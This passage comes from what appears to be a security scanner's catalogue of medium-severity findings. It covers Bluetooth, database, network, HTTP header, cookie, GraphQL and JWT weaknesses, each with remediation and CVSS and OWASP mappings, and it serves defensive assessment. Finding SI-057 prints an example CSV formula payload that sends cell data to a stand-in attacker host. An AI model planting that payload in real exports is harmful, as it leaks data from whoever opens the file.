OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1046 (Discovery)
NIST 800-53: CM-7, CM-6, RA-5
PCI DSS 4: 6.2.4
MEDIUM PHX-230 — Bluetooth SDP Service Discovery — Internal Service Disclosure
Remediation: Restrict SDP browse responses to authenticated connections. Remove or obfuscate unnecessary service attributes from SDP records. Disable profiles and services not operationally required to reduce discoverable attack surface.
Effort: Low
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: CM-7, RA-5, SC-40
PCI DSS 4: 6.2.4
MEDIUM PHX-232 — BLE Static MAC Address — Device Tracking and Weak Pairing
Remediation: Enable Bluetooth resolvable private address (RPA) rotation with an appropriate interval (15 minutes or shorter). Replace Just Works pairing with Numeric Comparison, OOB, or Passkey Entry. Require LE Secure Connections to resist MITM during pairing.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-25, IA-3, SC-40
PCI DSS 4: 4.2.1
MEDIUM PHX-255 — Cross-Site Scripting in RTLS Management Dashboard
Remediation: Apply strict HTML output encoding (context-aware escaping) to all dynamic values rendered in the dashboard including tag labels, zone names, and custom metadata fields. Implement a Content Security Policy (CSP) header disallowing inline scripts. Sanitise all API-sourced string fields before storage.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1189 (Initial Access), T1059.007 (Execution)
NIST 800-53: SI-10, SC-18, CM-6
PCI DSS 4: 6.2.4
MEDIUM PHX-268 — Unencrypted Database Connection
Remediation: Enable SSL/TLS on database connections. For MySQL: set `require_secure_transport=ON`. For PostgreSQL: set `ssl=on` in postgresql.conf and `hostssl` in pg_hba.conf. For MongoDB: configure TLS in mongod.conf. Use valid certificates from a trusted CA.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API9:2023 – Improper Inventory Management
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, SC-13
PCI DSS 4: 4.2.1
MEDIUM PHX-269 — Database Audit Logging Disabled
Remediation: Enable database audit logging. For MySQL: enable `general_log` and `slow_query_log`. For PostgreSQL: configure `log_statement = 'all'` and `log_connections = on`. For MSSQL: enable SQL Server Audit. Forward logs to SIEM for correlation and alerting.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:N
OWASP Web: A09:2021 – Security Logging and Monitoring Failures
OWASP API: API9:2023 – Improper Inventory Management
MITRE ATT&CK: T1562.006 (Defense Evasion)
NIST 800-53: AU-2, AU-12, AU-3
PCI DSS 4: 10.2.1, 10.3.3
MEDIUM PHX-280 — Database Connection Pool Credentials in Error Response
Remediation: Disable verbose error messages in production (never return stack traces or connection strings to clients). Sanitize all error responses. Use centralized error handling that strips sensitive data before logging. Store credentials in secret managers (HashiCorp Vault, AWS Secrets Manager) rather than config files.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API3:2023 – Broken Object Property Level Authorization
MITRE ATT&CK: T1552 (Credential Access)
NIST 800-53: SC-28, AU-2
PCI DSS 4: 3.3.2
MEDIUM PHX-282 — Anonymous Database Schema Browsing Permitted
Remediation: Restrict access to INFORMATION_SCHEMA to authenticated users only. Revoke SELECT on mysql.user, sys.*, and schema metadata tables from anonymous users. In PostgreSQL, restrict pg_catalog and information_schema access. Enable authentication before any schema metadata is exposed.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1589 (Reconnaissance)
NIST 800-53: AC-3, CM-6
PCI DSS 4: 6.2.4
MEDIUM PT-001 — Hardcoded Public DNS Resolvers Bypass Enterprise Controls
Description: Device sends DNS queries directly to public resolvers (8.8.8.8, 1.1.1.1, etc.) instead of using the DHCP-supplied resolver, bypassing enterprise DNS filtering, sinkholing, anomaly detection and split-DNS.
Impact: Enterprise DNS controls are bypassed for the device's most security-relevant traffic. Security teams cannot detect or block the device contacting unexpected endpoints, cannot apply DNS-based egress restrictions, and cannot audit data-exfiltration patterns. Represents a HIPAA / SOC 2 logging control gap.
Remediation: Modify device firmware to use only the DHCP-supplied DNS resolver. Implement DoH/DoT. Provide deployment-time toggle for hospital IT to constrain the resolver.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A09:2021 Security Logging and Monitoring Failures
MITRE ATT&CK: T1071.004 (Command and Control)
NIST 800-53: SC-7, SC-20, AU-12
PCI DSS 4: 1.4.1, 10.2.1.1
MEDIUM PT-005 — DHCP Hostname Discloses Asset Identifier
Description: The device populates DHCP option 12 (Host Name) with an asset identifier (serial number, device tag) that is broadcast on every DHCP DISCOVER/REQUEST.
Impact: Any host on the broadcast domain can passively map the device's MAC and IP to the broadcast asset tag — vendor, model and serial are derivable without sending a single packet. Combined with mDNS reflection this is reflected across L3 boundaries.
Remediation: Replace DHCP Host Name with an opaque per-device identifier (UUID or salted hash). The true serial should only travel inside the encrypted device-to-cloud channel.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A01:2021 Broken Access Control
NIST 800-53: SC-7, PE-20, PL-8
MEDIUM PT-006 — DNS Search-Suffix Appended to Fully-Qualified Hostnames
Description: The device's DNS client appends the DHCP-supplied search domain to hostnames that are already fully-qualified. RFC 1535 and RFC 8767 require resolvers not to apply search-suffix processing to FQDNs.
Impact: An attacker controlling the search-suffix DNS zone can redirect the device's cloud traffic to attacker-controlled IPs. TLS server certificate validation usually catches the substitution, but the failure mode leaks connection metadata on every retry. If cert pinning is incorrectly implemented, the substitution succeeds.
Remediation: Patch device DNS client so hostnames with three or more labels (or trailing dot) bypass search-domain processing. Set 'ndots' threshold to 1.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A04:2021 Insecure Design
NIST 800-53: SC-20, SI-10
MEDIUM PT-106 — ARP Anomalies (Duplicate IP-to-MAC Mappings)
Description: Duplicate ARP entries observed — one IP advertised by multiple MAC addresses. Possible legitimate HA pair, gratuitous ARP storm, or active ARP-spoofing / MitM.
Impact: If the duplicate is a MitM attack, the attacker is intercepting traffic between the device and another host. Even when legitimate (HA failover), the unannounced duplicate breaks deterministic L2 routing and may drop packets.
Remediation: Investigate each duplicate. Configure DAI (Dynamic ARP Inspection) on managed switches. Bind static IP↔MAC for critical clinical-device subnets.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
OWASP Web: A07:2021 Identification and Authentication Failures
MITRE ATT&CK: T1557.002 (Credential Access)
NIST 800-53: SC-7, SI-4
MEDIUM PT-109 — SNMPv1/v2c Community String in Cleartext
Description: SNMP community strings (passwords) observed in plaintext. Communities like 'public' / 'private' / vendor-default values grant MIB-table read access (or write if RW).
Impact: SNMP community strings are passwords. An attacker capturing them can read MIB data (interface stats, ARP tables, routing tables) and with a write community can reconfigure the device.
Remediation: Migrate to SNMPv3 with authentication (SHA) + encryption (AES). Disable SNMPv1/v2c. Restrict SNMP source IPs at the device.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A02:2021 Cryptographic Failures
NIST 800-53: SC-8, AC-3
MEDIUM PT-111 — LDAP Bind Observed Without TLS
Description: LDAP bind request observed in cleartext. Without LDAPS or StartTLS, the bind DN and password are exposed.
Impact: An attacker capturing the bind can extract the LDAP credentials. Domain-bound accounts are reusable across the AD forest and may unlock additional services (Kerberos, file shares, mail, VPN).
Remediation: Enforce LDAPS (TCP/636) or LDAP+StartTLS. Block plain LDAP (389/tcp) at the firewall.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 Cryptographic Failures
NIST 800-53: SC-8, IA-5
MEDIUM SI-030 — API Specification Exposed
Description: The API's OpenAPI/Swagger specification or equivalent documentation is publicly accessible without authentication (e.g., at /swagger.json, /openapi.json, /api-docs, /swagger-ui.html). The specification reveals the complete API surface including all endpoints, parameter names and types, authentication schemes, and response schemas. This dramatically reduces the reconnaissance effort required for an attacker, providing a complete blueprint of the API without any prior knowledge.
Remediation: Restrict access to API specification endpoints using authentication. At minimum, require valid credentials to access /swagger-ui, /openapi.json, and related documentation paths. In production environments, consider completely removing public API documentation and limiting it to internal networks or developer portals. If public documentation is required, ensure it does not contain internal or sensitive endpoint details.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-031 — Missing Security Header: Content-Security-Policy
Description: The API response does not include a Content-Security-Policy (CSP) header. Without CSP, the browser applies no restrictions on the origins from which scripts, styles, images, and other resources can be loaded, significantly increasing the risk of Cross-Site Scripting (XSS) attacks. A missing CSP means any XSS vulnerability in the API's responses can result in arbitrary script execution without any browser-level mitigation.
Remediation: Implement a Content-Security-Policy header on all HTTP responses that return HTML content. Start with a restrictive policy such as "default-src 'self'" and gradually expand based on application requirements. Use CSP reporting (report-to or report-uri) to identify violations before enforcing. For pure JSON API endpoints, set CSP to "default-src 'none'" as those endpoints should never load external resources.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-032 — Missing Security Header: X-Frame-Options
Description: The API response does not include an X-Frame-Options header and the Content-Security-Policy header does not include a frame-ancestors directive. Without this protection, the API's responses can be embedded in iframes on attacker-controlled websites, enabling UI redress (clickjacking) attacks. An attacker can overlay invisible or transparent frames over legitimate UI elements to trick users into performing unintended authenticated actions.
Remediation: Add 'X-Frame-Options: DENY' to all API responses, or use the more modern Content-Security-Policy 'frame-ancestors' directive (e.g., "frame-ancestors 'none'"). For APIs that legitimately need to be framed by the same origin, use SAMEORIGIN. Prefer the CSP approach as it supports more granular control and is the modern standard.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-033 — Missing Security Header: X-Content-Type-Options
Description: The API response does not include an X-Content-Type-Options: nosniff header. Without this header, browsers may perform MIME-type sniffing and interpret responses as a different content type than declared. For example, a JSON response containing JavaScript could be executed as a script in certain browser configurations. This attack vector is particularly relevant for APIs that accept and reflect user-supplied content.
Remediation: Add 'X-Content-Type-Options: nosniff' to all API HTTP responses. Ensure all responses also include accurate Content-Type headers matching the actual content. This single-directive header is trivial to implement and should be applied globally via middleware or the web server configuration.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-034 — Missing Security Header: Referrer-Policy
Description: The API response does not include a Referrer-Policy header. Without this header, the browser defaults to 'no-referrer-when-downgrade' behavior, sending the full URL as the Referrer header to any HTTPS destination when navigating from HTTPS pages. If API request URLs contain sensitive parameters such as session tokens, API keys, or user identifiers, these values will be leaked to third-party analytics services, CDNs, or any embedded resources loaded by the page.
Remediation: Add a Referrer-Policy header to all API responses. Set the value to 'strict-origin-when-cross-origin' as a sensible default for most applications, or 'no-referrer' for endpoints that should not leak any referrer information. Ensure sensitive data is never embedded in URLs where it could be exposed in the Referer header.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-035 — Missing Security Header: Cache-Control
Description: The API response for a sensitive or authenticated endpoint does not include a Cache-Control header. Without explicit cache control directives, the response may be cached by intermediate proxies, CDN edge nodes, shared corporate caches, or the client browser. Sensitive API responses (e.g., user profiles, account data, payment information) cached in shared environments can be retrieved by other users, creating a data confidentiality risk.
Remediation: Add Cache-Control headers to all authenticated or sensitive API responses. Use 'no-store, private' to prevent caching at all levels for sensitive responses. Use 'no-cache' if validation is acceptable but indefinite caching is not. Ensure that any CDN or reverse proxy in front of the API is configured to respect these directives.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-036 — Missing Security Header: Permissions-Policy
Description: The API response does not include a Permissions-Policy header (formerly Feature-Policy). Without this header, the browser grants default access to powerful browser features such as camera, microphone, geolocation, payment, and USB for any content rendered from this origin, including third-party iframes. Malicious scripts or XSS payloads executing in the context of this origin can access these features without restriction.
Remediation: Add a Permissions-Policy header to restrict access to browser features to only those the application requires. Use a restrictive default such as 'camera=(), microphone=(), geolocation=(), payment=()' and selectively enable features as needed. This header provides defense-in-depth against XSS exploitation of browser APIs.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-037 — Missing Secure Cookie Attribute: HttpOnly
Description: An API session or authentication cookie is set without the HttpOnly attribute. Without HttpOnly, client-side JavaScript can read the cookie value via document.cookie, enabling session hijacking through Cross-Site Scripting (XSS) attacks. An attacker who successfully injects a script into the application can exfiltrate the session cookie and impersonate the victim without any further interaction.
Remediation: Set the HttpOnly flag on all session and authentication cookies. This prevents JavaScript from accessing the cookie value while still allowing it to be sent on HTTP requests. Evaluate whether cookie-based authentication is appropriate for the API use case; Authorization headers are generally preferred for API clients as they cannot be stolen via XSS in the same way.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
MEDIUM SI-038 — Missing Secure Cookie Attribute: Secure
Description: An API session or authentication cookie is set without the Secure attribute. Without the Secure flag, the browser will transmit the cookie over unencrypted HTTP connections in addition to HTTPS. An attacker performing a network man-in-the-middle attack (e.g., on an unencrypted Wi-Fi network) can intercept the session cookie and use it to impersonate the authenticated user. This is particularly critical for authentication tokens.
Remediation: Set the Secure flag on all session and authentication cookies. This ensures the cookie is only transmitted over HTTPS connections. Combine with HSTS to prevent the browser from making HTTP requests to the API at all. If HTTP access is still required for any reason, ensure no sensitive cookies are set on HTTP responses.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
MEDIUM SI-039 — Rate Limit Response Missing Retry-After Header
Description: The API returns a 429 Too Many Requests response when rate limits are exceeded, but does not include a Retry-After header indicating when the client should retry. Without Retry-After, clients implementing retry logic may immediately retry requests, causing a thundering herd effect that amplifies load on the server. Additionally, the absence of this header makes the rate limiting behavior opaque, which can assist attackers in tuning their request timing to avoid detection.
Remediation: Include a Retry-After header (or X-RateLimit-Reset) in all 429 responses, specifying either a date/time or number of seconds until the rate limit window resets. Document the rate limiting behavior in the API specification. Consider also returning X-RateLimit-Limit and X-RateLimit-Remaining headers on successful responses to help clients self-regulate.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
OWASP API: API4:2023 Unrestricted Resource Consumption
MEDIUM SI-040 — CRLF Injection in API Parameter
Description: Siphon detected that an API parameter containing CRLF sequences (\r\n, %0d%0a) is reflected in HTTP response headers without sanitization. CRLF injection allows an attacker to inject arbitrary HTTP headers into the response, enabling header injection attacks, response splitting, cookie injection, cache poisoning, and cross-site scripting via injected Location or Set-Cookie headers. The impact depends on how the injected content is processed by downstream proxies and browsers.
Remediation: Sanitize all user-supplied input before including it in HTTP response headers by stripping or encoding CR (\r) and LF (\n) characters. Use framework-provided header-setting APIs rather than constructing headers manually. Implement output encoding appropriate to the context. Validate that header values conform to expected formats using allowlist validation.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-041 — Log Injection via User-Agent / Query Parameter
Description: Siphon detected that user-controlled input (User-Agent header or query parameters) is written to application logs without sanitization. An attacker can inject newline characters and fake log entries to forge log records, obfuscate malicious activity, or confuse log analysis tools. In systems where logs are consumed by downstream parsers or SIEM tools, injected log entries can trigger false alerts or suppress real ones. If logs are displayed in a web-based log viewer, log injection can escalate to stored XSS.
Remediation: Sanitize all user-controlled values before writing them to logs by encoding or stripping newline characters, control characters, and HTML special characters. Use structured logging (JSON or similar) rather than free-form string concatenation so injected newlines cannot create new log entries. Apply input validation on User-Agent and other headers before logging.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-042 — SOAP Verbose Fault / Error Disclosure
Description: The SOAP API returns verbose fault messages that disclose internal details such as stack traces, server-side file paths, class names, database connection strings, SQL query fragments, or XML schema structures. Verbose SOAP faults provide an attacker with detailed knowledge of the internal architecture that significantly aids in crafting targeted exploitation attempts. This information leakage is particularly valuable for injection attack reconnaissance.
Remediation: Configure the SOAP framework to return generic, client-safe fault messages in production environments. Disable stack trace inclusion in fault detail elements. Log detailed error information server-side rather than returning it to clients. Implement a custom fault handler that maps internal exceptions to generic error codes. Regularly test error conditions to verify no sensitive data is disclosed.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-043 — GraphQL Field Suggestions Enabled
Description: The GraphQL API returns field suggestion messages (e.g., "Did you mean 'password'?") when a queried field name is similar to an existing field. This behavior exposes the schema's field names even when introspection is disabled, allowing an attacker to enumerate object types and field names by submitting deliberately misspelled queries and observing the suggestions in error responses. This effectively bypasses introspection-based schema hiding.
Remediation: Disable field suggestions in the GraphQL engine configuration. In Apollo Server, set 'hideSchemaErrors: true' or use a custom error formatter to remove suggestion strings from error responses. In other frameworks, configure the error masking/formatting to strip suggestion messages. Do not rely on disabling introspection alone as a schema protection measure if field suggestions are still enabled.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-044 — GraphQL Error Response Leaks Internal Details
Description: GraphQL error responses from this API expose internal implementation details including stack traces, resolver function names, database query details, file system paths, or internal type names. These details assist an attacker in mapping the internal architecture, identifying the database technology, and crafting targeted injection payloads. Error detail leakage in GraphQL APIs is common when development-mode error handling is left enabled in production deployments.
Remediation: Configure the GraphQL server to mask internal error details in production. Return only generic error messages with client-safe error codes. Log complete error details server-side for debugging. In Apollo Server, set 'includeStacktraceInErrorResponses: false'. Implement a custom error formatter that strips extensions.exception.stacktrace and other internal fields from error responses.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-045 — GraphQL Directive Abuse — Accepted Without Limit
Description: The GraphQL API accepts queries containing multiple repeated directives (e.g., @include, @skip, or custom directives) on the same field without limit. Attackers can abuse this by submitting queries with thousands of directive applications on a single field, causing excessive server-side processing to evaluate each directive. This is a form of denial-of-service attack that does not require a large query document and may not be caught by query complexity or depth limits.
Remediation: Implement directive count validation in the GraphQL query parser to limit the number of directives per field and per query. Set a maximum directive application limit (e.g., no more than 10 directives per field). Use a query cost analysis library that accounts for directive evaluation cost. Apply rate limiting on the GraphQL endpoint.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
OWASP API: API4:2023 Unrestricted Resource Consumption
MEDIUM SI-046 — GraphQL Fragment Sprawl — No Fragment Count Limit
Description: The GraphQL API accepts queries containing an unrestricted number of fragment definitions. An attacker can define hundreds or thousands of fragments that cyclically reference each other or are applied across many fields, causing the server to perform excessive work during query validation and execution. Fragment sprawl attacks can bypass depth limit protections because fragments flatten the tree before depth counting. This can result in CPU exhaustion and denial-of-service conditions.
Remediation: Implement fragment count limits in the GraphQL query validator (e.g., maximum 50 fragment definitions per query). Apply a query complexity analysis library that correctly accounts for inline and spread fragments when calculating query cost. Enable query timeout limits. Detect and reject queries containing circular fragment references.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
OWASP API: API4:2023 Unrestricted Resource Consumption
MEDIUM SI-047 — JSONP Endpoint Detected — Potential Data Leakage
Description: Siphon detected an API endpoint that supports JSONP (JSON with Padding), indicated by a callback parameter that wraps the response in a JavaScript function call. JSONP bypasses Same-Origin Policy using a script tag, enabling cross-origin data access. Authenticated JSONP endpoints are particularly dangerous because an attacker-controlled page can include a script tag pointing to the JSONP endpoint, and if the victim's browser sends session cookies, the attacker receives the victim's data in the callback. JSONP is a legacy pattern that has been superseded by CORS.
Remediation: Remove JSONP support and replace with proper CORS configuration that specifies allowed origins explicitly. If JSONP must be maintained for legacy compatibility, ensure authenticated JSONP endpoints validate the Referer header and implement CSRF tokens. Restrict the callback parameter to an allowlist of safe function names. Consider this a critical finding on any endpoint that returns user-specific data.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-048 — Possible Mass Assignment — Response Differs
Description: Siphon detected that submitting additional or undocumented fields in an API request body produces a different response (e.g., different status code, different response body structure, or modified resource state) compared to the baseline request without those fields. This behavioral difference suggests the application is processing the injected fields, which is a strong indicator of a mass assignment vulnerability. Full exploitation requires manual confirmation of which fields can be manipulated.
Remediation: Implement an explicit allowlist of accepted fields for each API endpoint. Use Data Transfer Objects (DTOs) or serialization schemas that only map documented fields, ignoring all others. Never bind request body data directly to model objects without filtering. Audit all API endpoints that accept PATCH or PUT requests for mass assignment susceptibility.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A04:2021 Insecure Design
OWASP API: API6:2023 Unrestricted Access to Sensitive Business Flows
MEDIUM SI-049 — Possible SSRF — Delayed Response
Description: Siphon observed a significant and consistent response delay when injecting an internal or external URL into an API parameter, suggesting the server is fetching the supplied URL before responding. This timing-based indicator is consistent with Server-Side Request Forgery (SSRF) behavior where the server makes outbound connections based on attacker-supplied URLs. SSRF can be used to probe internal network services, access cloud metadata endpoints (e.g., 169.254.169.254), or pivot to internal systems. Manual confirmation is required to determine exploitability.
Remediation: Validate all URL parameters against an allowlist of permitted schemes and destination hosts before making any outbound request. Block requests to private IP ranges (RFC 1918), link-local addresses, and cloud metadata endpoints. Implement a server-side HTTP client that enforces timeouts and restricts redirects. Log all outbound HTTP requests for monitoring purposes.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
OWASP Web: A10:2021 Server-Side Request Forgery
OWASP API: API7:2023 Server Side Request Forgery
MEDIUM SI-050 — JWT Uses Symmetric Algorithm (HS256)
Description: The API issues JWTs signed with a symmetric HMAC algorithm (HS256, HS384, or HS512). Symmetric algorithms use the same secret key for signing and verification, meaning any party that can verify tokens also knows the secret and can forge arbitrary tokens. In microservice architectures where multiple services verify JWTs, each service possesses the signing secret, increasing the blast radius if any service is compromised. A weak or brute-forceable HMAC secret compounds this risk significantly.
Remediation: Migrate to asymmetric signing algorithms (RS256, ES256, or PS256) where the signing key is known only to the issuer and verification uses the corresponding public key. If symmetric algorithms must be retained, use a cryptographically strong, randomly generated secret of at least 256 bits. Rotate the signing secret periodically. Store the secret in a secrets management system, not in configuration files.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MEDIUM SI-054 — Server-Timing Header Leaks Authentication Duration
Description: The API includes a Server-Timing header in authentication responses that reveals internal timing information such as database query duration or credential validation time. By comparing response times for valid versus invalid usernames, an attacker can perform a timing-based user enumeration attack. Differences in authentication timing (e.g., a valid username with wrong password taking longer than an invalid username) can also confirm account existence without triggering lockout mechanisms.
Remediation: Remove the Server-Timing header from authentication endpoint responses. If Server-Timing is required for performance monitoring, restrict it to internal networks or authenticated requests only. Implement constant-time comparison for credential validation to eliminate timing side-channels. Ensure authentication responses for valid and invalid credentials take equivalent time by adding artificial delays where necessary.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MEDIUM SI-055 — API Returns More Fields Than Documented
Description: The API endpoint returns more fields in its response than are documented in the API specification. The extra fields may contain internal identifiers, system metadata, hidden status flags, or other data not intended for client consumption. When the undocumented fields are sensitive (e.g., password hashes, internal user IDs, role flags, tokens), this finding escalates to Excessive Data Exposure. Even non-sensitive undocumented fields represent a schema drift risk and documentation gap.
Remediation: Implement explicit response serialization/marshaling that only includes fields defined in the API specification. Use response DTOs or serialization schemas to filter the response object before returning it. Review all undocumented fields for sensitivity. Update the API specification to formally document any fields that should be exposed, or remove them from responses.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
OWASP API: API3:2023 Broken Object Property Level Authorization
MEDIUM SI-056 — HTTP Method Override — DELETE via POST Accepted
Description: The API accepts HTTP method overrides via the X-HTTP-Method-Override or X-Method-Override header, allowing a POST request to be processed as a DELETE, PUT, or PATCH. Method override support was originally designed for environments where only GET and POST are supported. If the API applies authorization controls based on HTTP method at the routing layer, an attacker may bypass these controls by using POST with a method override header to perform DELETE or other privileged operations.
Remediation: Disable HTTP method override support unless strictly required for legacy client compatibility. If method override must be supported, ensure that authorization controls are applied based on the effective (overridden) method, not the HTTP transport method. Restrict which methods can be overridden and log all override usage.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-057 — CSV Injection in User Export
Description: The API's data export endpoint includes user-supplied values in CSV output without sanitization. Spreadsheet applications (Excel, LibreOffice Calc, Google Sheets) interpret cell values beginning with '=', '+', '-', or '@' as formulas. An attacker can inject formula payloads (e.g., =HYPERLINK("http://attacker.com/?"&A1)) that execute when an administrator or staff member opens the exported CSV, potentially exfiltrating data from the spreadsheet or executing arbitrary commands if Dynamic Data Exchange (DDE) is enabled.
Remediation: Prefix all user-supplied cell values in CSV exports with a single quote character to prevent formula injection. Alternatively, reject or escape cells that begin with formula-triggering characters. Warn users in the API documentation that exported data should not be opened with formula execution enabled. Consider using XLSX format with explicit cell type enforcement instead of CSV.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-058 — Business Flow — Numeric Field Accepts Negative/Zero Value
Description: Siphon detected that an API endpoint accepting a numeric field (e.g., quantity, amount, price, discount) processes negative or zero values without validation. Accepting negative values in financial or inventory contexts can enable attacks such as transferring negative amounts (effectively receiving funds), adding negative quantities to a cart (to subtract price), applying discounts greater than 100%, or bypassing minimum purchase requirements. This class of business logic flaw is commonly exploited in e-commerce and fintech APIs.
Remediation: Implement server-side validation that enforces minimum value constraints for all numeric fields (e.g., quantity >= 1, amount > 0). Do not rely on client-side validation alone. Review each numeric field to determine appropriate bounds and implement both minimum and maximum value checks. Specifically test for integer overflow conditions when large positive values are submitted.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A04:2021 Insecure Design
OWASP API: API6:2023 Unrestricted Access to Sensitive Business Flows
MEDIUM SI-075 — GraphQL Introspection Enabled
